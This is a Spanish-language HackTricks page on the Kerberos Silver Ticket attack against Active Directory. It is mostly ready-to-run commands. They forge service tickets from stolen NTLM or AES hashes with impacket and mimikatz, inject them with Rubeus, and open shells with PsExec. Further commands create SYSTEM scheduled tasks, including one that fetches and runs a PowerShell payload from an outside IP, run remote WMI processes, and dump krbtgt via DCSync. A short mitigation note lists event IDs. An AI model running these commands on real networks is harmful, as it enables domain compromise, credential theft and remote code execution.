10 KiB
Silver Ticket
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Silver ticket
El ataque Silver ticket se basa en crear un TGS válido para un servicio una vez que se posee el hash NTLM del servicio (como el hash de la cuenta de PC). Así, es posible acceder a ese servicio forjando un TGS personalizado como cualquier usuario.
En este caso, se posee el hash NTLM de una cuenta de computadora (que es una especie de cuenta de usuario en AD). Por lo tanto, es posible crear un ticket para entrar en esa máquina con privilegios de administrador a través del servicio SMB. Las cuentas de computadora restablecen sus contraseñas cada 30 días por defecto.
También se debe tener en cuenta que es posible Y PREFERIBLE (opsec) forjar tickets usando las claves Kerberos AES (AES128 y AES256). Para saber cómo generar una clave AES lee: sección 4.4 de MS-KILE o Get-KerberosAESKey.ps1.
{% code title="Linux" %}
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
En Windows, **Mimikatz** puede ser utilizado para **crear** el **ticket**. A continuación, el ticket se **inyecta** con **Rubeus**, y finalmente se puede obtener un shell remoto gracias a **PsExec**.
{% code title="Windows" %}
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi
{% endcode %}
El servicio CIFS es el que te permite acceder al sistema de archivos de la víctima. Puedes encontrar otros servicios aquí: https://adsecurity.org/?page_id=183. Por ejemplo, puedes usar el servicio HOST para crear una schtask en un ordenador. Luego puedes comprobar si ha funcionado intentando listar las tareas de la víctima: schtasks /S <nombre_del_host>
o puedes usar el servicio HOST y RPCSS para ejecutar consultas WMI en un ordenador, pruébalo haciendo: Get-WmiObject -Class win32_operatingsystem -ComputerName <nombre_del_host>
Mitigación
ID de eventos de Silver ticket (más sigilosos que golden ticket):
- 4624: Inicio de sesión de cuenta
- 4634: Cierre de sesión de cuenta
- 4672: Inicio de sesión de administrador
Más información sobre Silver Tickets en ired.team
Servicios Disponibles
Tipo de Servicio | Service Silver Tickets |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP Dependiendo del SO también: WSMAN RPCSS |
WinRM | HOST HTTP En algunas ocasiones puedes simplemente pedir: WINRM |
Tareas Programadas | HOST |
Compartición de Archivos de Windows, también psexec | CIFS |
Operaciones LDAP, incluido DCSync | LDAP |
Herramientas de Administración Remota de Servidores Windows | RPCSS LDAP CIFS |
Golden Tickets | krbtgt |
Usando Rubeus puedes pedir todos estos tickets usando el parámetro:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Abusando de los tickets de servicio
En los siguientes ejemplos imaginemos que el ticket se obtiene suplantando la cuenta del administrador.
CIFS
Con este ticket podrás acceder a las carpetas C$
y ADMIN$
vía SMB (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto simplemente haciendo algo como:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios usando psexec:
{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}
HOST
Con este permiso puedes generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
Con estos tickets puedes ejecutar WMI en el sistema víctima:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Encuentra más información sobre wmiexec en la siguiente página:
{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}
HOST + WSMAN (WINRM)
Con acceso winrm a un ordenador puedes acceder a él e incluso obtener un PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Consulte la siguiente página para aprender más formas de conectarse con un host remoto usando winrm:
{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}
{% hint style="warning" %} Tenga en cuenta que winrm debe estar activo y escuchando en la computadora remota para acceder a ella. {% endhint %}
LDAP
Con este privilegio, puede volcar la base de datos del DC utilizando DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
Aprende más sobre DCSync en la siguiente página:
{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}
Si estás interesado en una carrera en hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repos de github HackTricks y HackTricks Cloud.